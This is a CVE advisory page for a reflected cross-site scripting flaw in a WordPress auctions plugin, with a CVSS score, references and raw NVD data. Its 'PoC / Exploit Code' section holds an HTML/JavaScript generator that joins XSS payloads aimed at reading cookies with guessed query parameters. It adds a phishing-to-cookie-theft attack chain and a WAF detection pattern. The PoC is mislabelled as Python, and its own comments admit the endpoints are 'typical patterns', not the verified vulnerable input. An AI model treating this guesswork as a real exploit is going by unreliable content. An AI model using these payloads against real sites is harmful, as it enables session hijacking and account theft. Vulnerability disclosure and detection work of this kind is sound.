CVE-2025-67943

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wphocus My auctions allegro my-auctions-allegro-free-edition allows Reflected XSS.This issue affects My auctions allegro: from n/a through <= 3.6.32.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

my-auctions-allegro-free-edition <= 3.6.32

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67943 Reflected XSS PoC -->
<!-- Target: WordPress my-auctions-allegro-free-edition plugin <= 3.6.32 -->
<!-- Vulnerability: Improper input neutralization in web page generation -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67943 PoC - Reflected XSS</title>
</head>
<body>
    <h1>CVE-2025-67943 Reflected XSS PoC</h1>
    <p>Target: WordPress with my-auctions-allegro-free-edition plugin <= 3.6.32</p>
    
    <!-- PoC URL - Replace YOUR_TARGET with actual URL -->
    <h2>Malicious URL:</h2>
    <pre id="poc-url"></pre>
    
    <script>
        // Base target URL - adjust to vulnerable endpoint
        var targetBase = "http://YOUR_TARGET_WORDPRESS_URL/";
        
        // XSS Payloads - multiple variations for bypass
        var payloads = [
            "<script>alert(document.cookie)</script>",
            "<img src=x onerror=alert(document.domain)>",
            "<svg/onload=alert(document.cookie)>",
            "javascript:alert(document.cookie)",
            "'-alert(document.cookie)-'",
            "\"><script>alert('XSS')</script>"
        ];
        
        // Construct vulnerable URL - typical patterns
        var vulnerableParams = [
            "?s=<PAYLOAD>",
            "?search=<PAYLOAD>",
            "?auction_search=<PAYLOAD>",
            "?filter=<PAYLOAD>",
            "?category=<PAYLOAD>"
        ];
        
        // Generate PoC URLs
        var pocUrls = [];
        vulnerableParams.forEach(function(param) {
            payloads.forEach(function(payload) {
                var url = targetBase + param.replace("<PAYLOAD>", encodeURIComponent(payload));
                pocUrls.push(url);
            });
        });
        
        // Display first PoC URL
        document.getElementById("poc-url").textContent = pocUrls[0];
        
        // Attack flow description
        console.log("=== CVE-2025-67943 Attack Flow ===");
        console.log("1. Attacker crafts malicious URL with XSS payload");
        console.log("2. Victim clicks the crafted link");
        console.log("3. Server reflects unsanitized input in response");
        console.log("4. Victim's browser executes injected script");
        console.log("5. Attacker steals cookies/session data");
    </script>
    
    <h2>Attack Chain:</h2>
    <ol>
        <li><strong>Reconnaissance:</strong> Attacker identifies WordPress site with vulnerable plugin</li>
        <li><strong>Payload Crafting:</strong> Construct XSS payload targeting plugin's input fields</li>
        <li><strong>Social Engineering:</strong> Distribute malicious URL via email/phishing</li>
        <li><strong>Trigger:</strong> Victim clicks link, browser sends request to vulnerable endpoint</li>
        <li><strong>Execution:</strong> Server reflects payload, browser executes JavaScript</li>
        <li><strong>Exfiltration:</strong> Malicious script steals session cookies and sends to attacker</li>
    </ol>
    
    <h2>Detection Rules:</h2>
    <pre>
# WAF/SIEM detection pattern
Pattern: /my-auctions-allegro.*(<script|onerror=|onload=|javascript:)
Severity: HIGH
Action: Block and Alert
    </pre>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67943
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67943
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67943/
[4] VulDB https://vuldb.com/cve/CVE-2025-67943
[5] https://patchstack.com/database/Wordpress/Plugin/my-auctions-allegro-free-edition/vulnerability/wordpress-my-auctions-allegro-plugin-3-6-32-cross-site-scripting-xss-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67943", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:03.920", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wphocus My auctions allegro my-auctions-allegro-free-edition allows Reflected XSS.This issue affects My auctions allegro: from n/a through <= 3.6.32."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en wphocus My auctions allegro my-auctions-allegro-free-edition permite XSS Reflejado. Este problema afecta a My auctions allegro: desde n/a hasta <= 3.6.32."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/my-auctions-allegro-free-edition/vulnerability/wordpress-my-auctions-allegro-plugin-3-6-32-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}